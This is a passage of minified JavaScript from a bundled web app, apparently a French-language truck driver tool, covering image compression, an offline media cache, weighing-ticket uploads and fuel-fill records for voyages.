focus-visible:ring-offset-2&quot;,e),...t}));dn.displayName=d$.displayName;const pN=&quot;driver_media_cache&quot;,f$=10080*60*1e3;function $fe(e){try{const t=h$(),r=t[e];if(!r)return null;const n=new Date(r.cachedAt).getTime();return Date.now()-n&gt;f$?(delete t[e],m$(t),null):r}catch{return null}}function E7(e){const t=$fe(e);return t?t.base64:null}function h$(){try{const e=localStorage.getItem(pN);return e?JSON.parse(e):{}}catch{return{}}}function m$(e){try{localStorage.setItem(pN,JSON.stringify(e))}catch(t){if(t instanceof DOMException&amp;&amp;(t.code===22||t.name===&quot;QuotaExceededError&quot;)){Hfe();try{localStorage.setItem(pN,JSON.stringify(e))}catch(r){console.error(&quot;[mediaCache] Impossible de sauvegarder le cache même après nettoyage:&quot;,r)}}}}function Hfe(){try{const e=h$(),t=Date.now();let r=0;for(const[n,i]of Object.entries(e)){const s=new Date(i.cachedAt).getTime();t-s&gt;f$&amp;&amp;(delete e[n],r++)}r&gt;0&amp;&amp;m$(e)}catch(e){console.error(&quot;[mediaCache] Erreur lors du nettoyage:&quot;,e)}}function OS({src:e,onError:t,onLoad:r,...n}){const[i,s]=I.useState(e),[o,l]=I.useState(!1);I.useEffect(()=&gt;{s(e),l(!1)},[e]);const c=u=&gt;{r?.(u)},d=u=&gt;{if(o){t?.(u);return}if(l(!0),!navigator.onLine&amp;&amp;e){const h=Sr(e)||e,p=E7(h);if(p){s(p);return}}t?.(u)};if(e?.startsWith(&quot;data:&quot;))return a.jsx(&quot;img&quot;,{src:e,...n,onError:t,onLoad:r});if(!navigator.onLine&amp;&amp;e){const u=Sr(e)||e,h=E7(u);if(h)return a.jsx(&quot;img&quot;,{src:h,...n,onError:t,onLoad:r})}return a.jsx(&quot;img&quot;,{src:i?Sr(i)||i:void 0,...n,onError:d,onLoad:c})}const qfe={pod:{maxSize:1024,quality:.62},incident:{maxSize:1024,quality:.7},default:{maxSize:1280,quality:.7}};function Gfe(){try{const e=document.createElement(&quot;canvas&quot;);return e.width=1,e.height=1,e.toDataURL(&quot;image/webp&quot;).indexOf(&quot;data:image/webp&quot;)===0}catch{return!1}}async function Vfe(e){const t=e.width,r=e.height;return{width:t,height:r,needsRotation:!1}}function C7(e,t){if(typeof OffscreenCanvas&lt;&quot;u&quot;){const i=new OffscreenCanvas(e,t),s=i.getContext(&quot;2d&quot;);return{canvas:i,ctx:s}}const r=document.createElement(&quot;canvas&quot;);r.width=e,r.height=t;const n=r.getContext(&quot;2d&quot;);return{canvas:r,ctx:n}}async function I7(e,t,r,n,i){if(!t)throw new Error(&quot;Contexte canvas non disponible&quot;);t.clearRect(0,0,n,i),t.drawImage(r,0,0,n,i)}async function j7(e,t,r){return e instanceof OffscreenCanvas?await e.convertToBlob({type:t,quality:r}):new Promise((n,i)=&gt;{e.toBlob(s=&gt;{s?n(s):i(new Error(&quot;Échec de la conversion canvas en blob&quot;))},t,r)})}async function Wfe(e){if(typeof createImageBitmap&lt;&quot;u&quot;)try{const t=await e.arrayBuffer();return await createImageBitmap(new Blob([t],{type:e.type}))}catch(t){console.warn(&quot;createImageBitmap échoué, fallback sur Image:&quot;,t)}return new Promise((t,r)=&gt;{const n=new Image,i=URL.createObjectURL(e);n.onload=()=&gt;{URL.revokeObjectURL(i),t(n)},n.onerror=()=&gt;{URL.revokeObjectURL(i),r(new Error(&quot;Échec du chargement de l&#039;image&quot;))},n.src=i})}async function Hm(e,t={}){const{preset:r=&quot;default&quot;,maxSize:n,quality:i,generateThumbnail:s=!1}=t;if(!e.type.startsWith(&quot;image/&quot;))throw new Error(&quot;Le fichier doit être une image&quot;);const o=e.size;let l=qfe[r];if(!n)try{const{getImageOptimizationPresets:A}=await On(async()=&gt;{const{getImageOptimizationPresets:v}=await import(&quot;./image-optimization-config-36ZLt28A.js&quot;);return{getImageOptimizationPresets:v}},[]),y=await A();l={...l,maxSize:y[r]||l.maxSize}}catch(A){console.warn(&quot;[Image Optimizer] Impossible de récupérer la config, utilisation des valeurs par défaut:&quot;,A)}const c=n??l.maxSize,d=i??l.quality,u=Gfe(),h=u?&quot;image/webp&quot;:&quot;image/jpeg&quot;,p=u?&quot;webp&quot;:&quot;jpg&quot;;try{const A=await Wfe(e),{width:y,height:v}=await Vfe(A);let w=y,j=v;const E=Math.max(y,v);if(E&gt;c){const M=c/E;w=Math.round(y*M),j=Math.round(v*M);const O=Math.max(w,j);if(O&gt;c){const $=c/O;w=Math.round(w*$),j=Math.round(j*$)}}const{canvas:S,ctx:_}=C7(w,j);await I7(S,_,A,w,j);const C=await j7(S,h,d),Q=e.name.replace(/\.[^/.]+$/,&quot;&quot;),R=new File([C],`${Q}_optimized.${p}`,{type:h,lastModified:Date.now()});let T;if(s){let O=w,$=j;if(O&gt;320||$&gt;320){const W=Math.min(320/O,320/$);O=Math.round(O*W),$=Math.round($*W)}const{canvas:P,ctx:L}=C7(O,$);await I7(P,L,A,O,$);const X=await j7(P,h,.5);T=new File([X],`${Q}_thumb.${p}`,{type:h,lastModified:Date.now()})}return A instanceof ImageBitmap&amp;&amp;A.close(),{file:R,originalSize:o,optimizedSize:C.size,width:w,height:j,mimeType:h,thumbnail:T}}catch(A){console.error(&quot;Erreur lors de l&#039;optimisation, tentative de fallback:&quot;,A);try{const y=new Image,v=URL.createObjectURL(e);return new Promise((w,j)=&gt;{y.onload=()=&gt;{URL.revokeObjectURL(v);let{width:E,height:S}=y;const _=Math.max(E,S);if(_&gt;c){const R=c/_;E=Math.round(E*R),S=Math.round(S*R);const T=Math.max(E,S);if(T&gt;c){const M=c/T;E=Math.round(E*M),S=Math.round(S*M)}}const C=document.createElement(&quot;canvas&quot;);C.width=E,C.height=S;const Q=C.getContext(&quot;2d&quot;);if(!Q){j(new Error(&quot;Contexte canvas non disponible&quot;));return}Q.drawImage(y,0,0,E,S),C.toBlob(R=&gt;{if(!R){j(new Error(&quot;Échec de la conversion&quot;));return}const T=new File([R],e.name.replace(/\.[^/.]+$/,&quot;&quot;)+&quot;_optimized.jpg&quot;,{type:&quot;image/jpeg&quot;,lastModified:Date.now()});w({file:T,originalSize:o,optimizedSize:R.size,width:E,height:S,mimeType:&quot;image/jpeg&quot;})},&quot;image/jpeg&quot;,d)},y.onerror=()=&gt;{URL.revokeObjectURL(v),j(new Error(&quot;Échec du chargement de l&#039;image pour le fallback&quot;))},y.src=v})}catch{throw new Error(`Optimisation impossible: ${A instanceof Error?A.message:String(A)}`)}}}function ol(e){return e&lt;1024?`${e} B`:e&lt;1024*1024?`${(e/1024).toFixed(1)} KB`:`${(e/(1024*1024)).toFixed(2)} MB`}const N7=Object.freeze(Object.defineProperty({__proto__:null,formatFileSize:ol,optimizeImage:Hm},Symbol.toStringTag,{value:&quot;Module&quot;}));function Kfe({open:e,onOpenChange:t,voyageId:r,currentTrajet:n,onImageClick:i}){const{toast:s}=Er(),o=eo(),{isOnline:l,executeAction:c}=xy(),[d,u]=I.useState(&quot;add&quot;),[h,p]=I.useState(&quot;&quot;),[A,y]=I.useState(!1),[v,w]=I.useState(null),[j,E]=I.useState(null),[S,_]=I.useState(!1),C=I.useRef(null),Q=I.useRef(null),{data:R=[],isLoading:T}=cr({queryKey:[`/api/voyages/${r}/events`,{type:&quot;media&quot;,mediaKind:&quot;photo&quot;}],queryFn:async()=&gt;{let L=[];try{navigator.onLine&amp;&amp;(L=await D4(r,{type:&quot;media&quot;,mediaKind:&quot;photo&quot;}))}catch{}let X=[];try{const{getPendingEventsBase64:G}=await On(async()=&gt;{const{getPendingEventsBase64:q}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:q}},void 0);X=G().filter(q=&gt;q.type===&quot;weighing&quot;&amp;&amp;q.voyageId===r&amp;&amp;!q.isUnloadingWeighing).map(q=&gt;({id:q.id,description:q.weight?`PESÉE - ${q.weight} kg`:&quot;PESÉE&quot;,mediaKind:&quot;photo&quot;,occurredAt:q.createdAt,mediaUrl:q.ticketBase64||null,isOffline:!0,offlineActionId:q.id}))}catch{}const W=[...L];for(const G of X)L.some(q=&gt;{const ee=Math.abs(new Date(q.occurredAt||q.createdAt).getTime()-new Date(G.occurredAt||G.createdAt).getTime());return q.description?.includes(&quot;PESÉE&quot;)&amp;&amp;G.description?.includes(&quot;PESÉE&quot;)&amp;&amp;ee&lt;5e3})||W.push(G);return W},enabled:e,refetchInterval:e&amp;&amp;!l?2e3:!1,select:L=&gt;L.filter(X=&gt;X.description?.toUpperCase().includes(&quot;PESÉE&quot;)||X.description?.toUpperCase().includes(&quot;PESEE&quot;))}),M=_r({mutationFn:async L=&gt;{if(!L.ticket)throw new Error(&quot;Un ticket de pesée est requis&quot;);const X=n?.direction===&quot;inbound&quot;&amp;&amp;n?.id,W=await c({type:&quot;weighing&quot;,voyageId:r,weight:L.weight||null,ticket:L.ticket,trajetId:X?n.id:null,isUnloadingWeighing:!!X},async()=&gt;{if(X){const J=new FormData;return J.append(&quot;photo&quot;,L.ticket),L.weight&amp;&amp;J.append(&quot;weight&quot;,L.weight),await $t(`/api/voyages/${r}/trajets/${n.id}/unloading-ticket`,{method:&quot;POST&quot;,body:J}),{message:&quot;Ticket de pesée de livraison enregistré avec succès&quot;,isUnloadingWeighing:!0}}const G=L.weight?`PESÉE - ${L.weight} kg`:&quot;PESÉE&quot;;return await mS(r,{mediaKind:&quot;photo&quot;,description:G,file:L.ticket,occurredAt:new Date().toISOString()})},&quot;La pesée sera synchronisée automatiquement quand la connexion reviendra.&quot;);return typeof W==&quot;string&quot;?{message:X?&quot;Ticket de pesée de livraison enregistré hors ligne&quot;:&quot;Pesée enregistrée hors ligne&quot;,isUnloadingWeighing:!!X}:W},onSuccess:async L=&gt;{o.invalidateQueries({queryKey:[`/api/voyages/${r}/events`]}),o.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r,&quot;has-weighing&quot;]}),L.isUnloadingWeighing&amp;&amp;(await new Promise(X=&gt;setTimeout(X,300)),await Promise.all([o.refetchQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),o.refetchQueries({queryKey:[&quot;/api/voyages&quot;,r]}),o.refetchQueries({queryKey:[&quot;/api/voyages&quot;,r,&quot;etapes&quot;]})]),setTimeout(()=&gt;{t(!1)},200)),s({title:l?&quot;Pesée enregistrée&quot;:&quot;Pesée enregistrée hors ligne&quot;,description:L.message||(l?&quot;La pesée a été enregistrée avec succès.&quot;:&quot;La pesée sera synchronisée automatiquement quand la connexion reviendra.&quot;)}),p(&quot;&quot;),w(null),E(null),L.isUnloadingWeighing||u(&quot;history&quot;)},onError:L=&gt;{s({title:&quot;Erreur&quot;,description:L.message||&quot;Une erreur est survenue lors de l&#039;enregistrement.&quot;,variant:&quot;destructive&quot;})}}),O=async L=&gt;{const X=L.target.files?.[0];if(X){if(X.size&gt;10485760){s({title:&quot;Fichier trop volumineux&quot;,description:&quot;La taille du fichier ne doit pas dépasser 10 MB.&quot;,variant:&quot;destructive&quot;});return}if(!X.type.startsWith(&quot;image/&quot;)){s({title:&quot;Type de fichier invalide&quot;,description:&quot;Veuillez sélectionner une image.&quot;,variant:&quot;destructive&quot;});return}_(!0);try{const G=await Hm(X,{preset:&quot;pod&quot;});w(G.file);const J=((1-G.optimizedSize/G.originalSize)*100).toFixed(0);G.originalSize&gt;G.optimizedSize&amp;&amp;s({title:&quot;Image optimisée&quot;,description:`${ol(G.originalSize)} → ${ol(G.optimizedSize)} (-${J}%)`,duration:3e3});const q=new FileReader;q.onloadend=()=&gt;{E(q.result),_(!1),y(!1)},q.onerror=()=&gt;{s({title:&quot;Erreur de lecture&quot;,description:&quot;Impossible de lire le fichier sélectionné.&quot;,variant:&quot;destructive&quot;}),_(!1)},q.readAsDataURL(G.file)}catch(G){_(!1),s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:G instanceof Error?G.message:&quot;Optimisation impossible, veuillez reprendre la photo&quot;})}}},$=async()=&gt;{if(!v){s({title:&quot;Ticket requis&quot;,description:&quot;Veuillez ajouter un ticket de pesée.&quot;,variant:&quot;destructive&quot;});return}if(h){const L=parseFloat(h);if(isNaN(L)||L&lt;=0){s({title:&quot;Poids invalide&quot;,description:&quot;Le poids doit être un nombre positif.&quot;,variant:&quot;destructive&quot;});return}}if(l)M.mutate({weight:h||void 0,ticket:v});else try{const L=n?.direction===&quot;inbound&quot;&amp;&amp;n?.id;if(typeof await c({type:&quot;weighing&quot;,voyageId:r,weight:h||null,ticket:v,trajetId:L?n.id:null,isUnloadingWeighing:!!L},async()=&gt;{const{createVoyageEventMedia:W}=await On(async()=&gt;{const{createVoyageEventMedia:q}=await Promise.resolve().then(()=&gt;$M);return{createVoyageEventMedia:q}},void 0),{apiRequest:G}=await On(async()=&gt;{const{apiRequest:q}=await Promise.resolve().then(()=&gt;DO);return{apiRequest:q}},void 0);if(L){const q=new FormData;return q.append(&quot;photo&quot;,v),h&amp;&amp;q.append(&quot;weight&quot;,h),await G(`/api/voyages/${r}/trajets/${n.id}/unloading-ticket`,{method:&quot;POST&quot;,body:q}),{message:&quot;Ticket de pesée de livraison enregistré avec succès&quot;,isUnloadingWeighing:!0}}const J=h?`PESÉE - ${h} kg`:&quot;PESÉE&quot;;return await W(r,{mediaKind:&quot;photo&quot;,description:J,file:v,occurredAt:new Date().toISOString()})},&quot;La pesée sera synchronisée automatiquement quand la connexion reviendra.&quot;)==&quot;string&quot;){if(L||o.setQueryData([&quot;/api/voyages&quot;,r,&quot;has-weighing&quot;],{hasWeighing:!0}),l)o.invalidateQueries({queryKey:[`/api/voyages/${r}/events`,{type:&quot;media&quot;,mediaKind:&quot;photo&quot;}]});else{const{getPendingEventsBase64:W}=await On(async()=&gt;{const{getPendingEventsBase64:J}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:J}},void 0),G=W();o.setQueryData([`/api/voyages/${r}/events`,{type:&quot;media&quot;,mediaKind:&quot;photo&quot;}],(J=[])=&gt;{const q=G.filter(V=&gt;V.type===&quot;weighing&quot;&amp;&amp;V.voyageId===r&amp;&amp;!V.isUnloadingWeighing).map(V=&gt;({id:V.id,description:V.weight?`PESÉE - ${V.weight} kg`:&quot;PESÉE&quot;,mediaKind:&quot;photo&quot;,occurredAt:V.createdAt,mediaUrl:V.ticketBase64||null,isOffline:!0,offlineActionId:V.id}));return[...J.filter(V=&gt;!V.isOffline),...q].sort((V,ue)=&gt;{const de=new Date(V.occurredAt||V.createdAt).getTime();return new Date(ue.occurredAt||ue.createdAt).getTime()-de})})}o.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r,&quot;has-weighing&quot;]}),p(&quot;&quot;),w(null),E(null),L||u(&quot;history&quot;),s({title:L?&quot;Ticket de pesée de livraison enregistré hors ligne&quot;:&quot;Pesée enregistrée hors ligne&quot;,description:&quot;La pesée sera synchronisée automatiquement quand la connexion reviendra.&quot;})}}catch(L){s({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:L instanceof Error?L.message:&quot;Impossible d&#039;enregistrer la pesée hors ligne.&quot;})}},P=()=&gt;{p(&quot;&quot;),w(null),E(null),u(&quot;add&quot;),t(!1)};return A?a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Tg,{className:&quot;h-5 w-5&quot;}),a.jsx(In,{children:&quot;PESÉE&quot;})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;t(!1),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}),a.jsx(Mn,{children:&quot;Prendre ou sélectionner une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 mt-4&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,onClick:()=&gt;y(!1),className:&quot;mb-2&quot;,children:&quot;← Retour&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[S&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Optimisation...&quot;})]}),j?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:j,alt:&quot;Ticket de pesée&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{w(null),E(null),C.current&amp;&amp;(C.current.value=&quot;&quot;),Q.current&amp;&amp;(Q.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center gap-4 py-8&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;Q.current?.click(),className:&quot;h-24 w-24 flex-col gap-3 border-0 hover:bg-transparent p-0&quot;,disabled:S,children:[a.jsx(&quot;div&quot;,{className:&quot;h-16 w-16 rounded-full bg-blue-600 shadow-lg flex items-center justify-center&quot;,children:a.jsx(mo,{className:&quot;h-10 w-10 text-white&quot;})}),a.jsx(&quot;span&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Prendre une photo&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2 w-full max-w-xs&quot;,children:[a.jsx(&quot;input&quot;,{ref:C,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:O,className:&quot;hidden&quot;}),a.jsx(&quot;input&quot;,{ref:Q,type:&quot;file&quot;,accept:&quot;image/*&quot;,capture:&quot;environment&quot;,onChange:O,className:&quot;hidden&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;C.current?.click(),className:&quot;flex-1&quot;,disabled:S,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Galerie&quot;]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;{y(!1),w(null),E(null),C.current&amp;&amp;(C.current.value=&quot;&quot;),Q.current&amp;&amp;(Q.current.value=&quot;&quot;)},className:&quot;flex items-center gap-2&quot;,children:&quot;Annuler&quot;}),a.jsxs(ge,{onClick:()=&gt;{v&amp;&amp;y(!1)},className:&quot;flex items-center gap-2 bg-blue-600 hover:bg-blue-700 text-white&quot;,disabled:!v,children:[a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;Enregistrer&quot;]})]})]})]})}):a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;max-w-md max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(il,{className:&quot;h-5 w-5 text-green-600&quot;}),a.jsx(HA,{className:&quot;h-5 w-5 text-amber-600&quot;}),a.jsx(In,{className:&quot;text-lg font-semibold&quot;,children:&quot;PESÉE&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Ajouter une pesée&quot;})]}),a.jsxs(ul,{value:d,onValueChange:L=&gt;u(L),className:&quot;w-full&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2&quot;,children:[a.jsxs(hn,{value:&quot;add&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4&quot;}),&quot;Ajouter&quot;]}),a.jsxs(hn,{value:&quot;history&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Bl,{className:&quot;h-4 w-4&quot;}),&quot;Historique&quot;]})]}),a.jsxs(dn,{value:&quot;add&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;weight&quot;,children:&quot;Poids (kg)&quot;}),a.jsx(Xe,{id:&quot;weight&quot;,type:&quot;number&quot;,placeholder:&quot;Ex: 40000&quot;,value:h,onChange:L=&gt;p(L.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;ticket&quot;,children:[&quot;Ticket de pesée &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),j?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:j,alt:&quot;Ticket de pesée&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{w(null),E(null),C.current&amp;&amp;(C.current.value=&quot;&quot;),Q.current&amp;&amp;(Q.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;y(!0),className:&quot;mt-2 w-full&quot;,children:&quot;Changer la photo&quot;})]}):a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;y(!0),className:&quot;w-full&quot;,children:[a.jsx(c1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une photo&quot;]})]})]}),a.jsxs(dn,{value:&quot;history&quot;,className:&quot;mt-4&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold mb-4&quot;,children:&quot;Historique&quot;}),T?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):R.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center py-8&quot;,children:&quot;Aucune pesée enregistrée&quot;}):a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:R.map(L=&gt;{const X=L.description?.match(/(\d+(?:\s?\d+)*)\s*kg/i),W=X?`${X[1].replace(/\s/g,&quot; &quot;)} kg`:null;return a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 border rounded-lg&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 w-20 h-20 border rounded-lg flex items-center justify-center bg-muted cursor-pointer hover:opacity-80 transition-opacity&quot;,onClick:()=&gt;{const G=L.mediaUrl||(L.media?.url?Sr(L.media.url)||L.media.url:null);G&amp;&amp;i&amp;&amp;i(G)},children:L.mediaUrl||L.media?.url?a.jsx(OS,{src:L.isOffline&amp;&amp;L.mediaUrl?.startsWith(&quot;data:&quot;)?L.mediaUrl:L.mediaUrl||L.media?.url,alt:&quot;Ticket de pesée&quot;,className:&quot;w-full h-full object-cover rounded-lg&quot;}):a.jsx(c1,{className:&quot;h-8 w-8 text-muted-foreground&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(HA,{className:&quot;h-4 w-4 text-amber-600&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:[&quot;PESÉE&quot;,W&amp;&amp;` - ${W}`]}),L.isOffline&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;En attente&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:new Date(L.occurredAt).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;2-digit&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})})]})]},L.id)})})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,onClick:P,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4&quot;}),&quot;REVENIR&quot;]}),a.jsxs(ge,{onClick:$,className:&quot;flex items-center gap-2 bg-green-600 hover:bg-green-700 text-white&quot;,disabled:!v||M.isPending,children:[M.isPending?a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}):a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;ENREGISTRER&quot;]})]})]})})}async function p$(e){return await $t(`/api/voyages/${e}/fuel-fills`)}async function gN(e,t){const r=new FormData;return r.append(&quot;amount_l&quot;,t.amount_l.toString()),r.append(&quot;cost_fcfa&quot;,t.cost_fcfa.toString()),t.voyage_trajet_id&amp;&amp;r.append(&quot;voyage_trajet_id&quot;,t.voyage_trajet_id.toString()),t.filled_at&amp;&amp;r.append(&quot;filled_at&quot;,t.filled_at),t.receipt&amp;&amp;r.append(&quot;receipt&quot;,t.receipt),await $t(`/api/voyages/${e}/fuel-fills`,{method:&quot;POST&quot;,body:r})}async function g$(e,t){await $t(`/api/voyages/${e}/fuel-fills/${t}`,{method:&quot;DELETE&quot;})}const Yfe=Object.freeze(Object.defineProperty({__proto__:null,createVoyageFuelFill:gN,deleteVoyageFuelFill:g$,fetchVoyageFuelFills:p$},Symbol.toStringTag,{value:&quot;Module&quot;}));function Zfe({open:e,onOpenChange:t,voyageId:r,onImageClick:n}){const{toast:i}=Er(),s=eo(),{isOnline:o,executeAction:l}=xy(),[c,d]=I.useState(&quot;add&quot;),[u,h]=I.useState(!1),[p,A]=I.useState(&quot;&quot;),[y,v]=I.useState(&quot;&quot;),[w,j]=I.useState(null),[E,S]=I.useState(null),[_,C]=I.useState(!1),[Q,R]=I.useState(null),[T,M]=I.useState(!1),[O,$]=I.useState(!1),P=I.useRef(null),L=I.useRef(null),{data:X=[],isLoading:W}=cr({queryKey:[`/api/voyages/${r}/fuel-fills`],queryFn:async()=&gt;{let V=[];try{navigator.onLine&amp;&amp;(V=await p$(r))}catch{}let ue=[];try{const{getPendingEventsBase64:xe}=await On(async()=&gt;{const{getPendingEventsBase64:Ce}=await Promise.resolve().then(()=&gt;h1);return{getPendingEventsBase64:Ce}},void 0);ue=xe().filter(Ce=&gt;Ce.type===&quot;fuel&quot;&amp;&amp;Ce.voyageId===r).map(Ce=&gt;({id:Ce.id,voyageId:Ce.voyageId,amountL:Ce.amountL,costFcfa:Ce.costFcfa,filledAt:Ce.filledAt||Ce.createdAt,createdAt:Ce.createdAt,receiptUrl:Ce.receiptBase64||null,isOffline:!0,offlineActionId:Ce.id}))}catch{}const de=[...V];for(const xe of ue)V.some(Ce=&gt;{const we=Math.abs(new Date(Ce.filledAt||Ce.createdAt).getTime()-new Date(xe.filledAt||xe.createdAt).getTime());return Ce.amountL===xe.amountL&amp;&amp;Ce.costFcfa===xe.costFcfa&amp;&amp;we&lt;5e3})||de.push(xe);return de},enabled:e,refetchInterval:e&amp;&amp;!o?2e3:!1}),G=_r({mutationFn:async V=&gt;{const ue=await l({type:&quot;fuel&quot;,voyageId:r,amountL:V.amount_l,costFcfa:V.cost_fcfa,receipt:V.receipt||null,trajetId:V.trajetId||null,filledAt:V.filledAt||null},()=&gt;gN(r,{amount_l:V.amount_l,cost_fcfa:V.cost_fcfa,receipt:V.receipt,voyage_trajet_id:V.trajetId||null,filled_at:V.filledAt||null}),&quot;La prise de carburant sera synchronisée automatiquement quand la connexion reviendra.&quot;);return typeof ue==&quot;string&quot;?{id:0,voyageId:r,amountL:V.amount_l,costFcfa:V.cost_fcfa,filledAt:V.filledAt||new Date().toISOString(),createdAt:new Date().toISOString()}:ue},onSuccess:()=&gt;{s.invalidateQueries({queryKey:[`/api/voyages/${r}/fuel-fills`]}),o||s.refetchQueries({queryKey:[`/api/voyages/${r}/fuel-fills`]}),i({title:o?&quot;Carburant enregistré&quot;:&quot;Carburant enregistré hors ligne&quot;,description:o?&quot;La prise de carburant a été enregistrée avec succès.&quot;:&quot;La prise de carburant sera synchronisée automatiquement quand la connexion reviendra.&quot;}),A(&quot;&quot;),v(&quot;&quot;),j(null),S(null),d(&quot;history&quot;)},onError:V=&gt;{i({title:&quot;Erreur&quot;,description:V.message||&quot;Une erreur est survenue lors de l&#039;enregistrement.&quot;,variant:&quot;destructive&quot;})}}),J=_r({mutationFn:async V=&gt;await g$(r,V),onSuccess:()=&gt;{s.invalidateQueries({queryKey:[`/api/voyages/${r}/fuel-fills`]}),i({title:&quot;Suppression réussie&quot;,description:&quot;La prise de carburant a été supprimée avec succès.&quot;}),C(!1),R(null)},onError:V=&gt;{i({title:&quot;Erreur&quot;,description:V.message||&quot;Une erreur est survenue lors de la suppression.&quot;,variant:&quot;destructive&quot;})}}),q=async V=&gt;{const ue=V.target.files?.[0];if(ue){if(ue.size&gt;10485760){i({title:&quot;Fichier trop volumineux&quot;,description:&quot;La taille du fichier ne doit pas dépasser 10 MB.&quot;,variant:&quot;destructive&quot;});return}if(!ue.type.startsWith(&quot;image/&quot;)){i({title:&quot;Type de fichier invalide&quot;,description:&quot;Veuillez sélectionner une image.&quot;,variant:&quot;destructive&quot;});return}$(!0);try{const xe=await Hm(ue,{preset:&quot;pod&quot;});j(xe.file);const 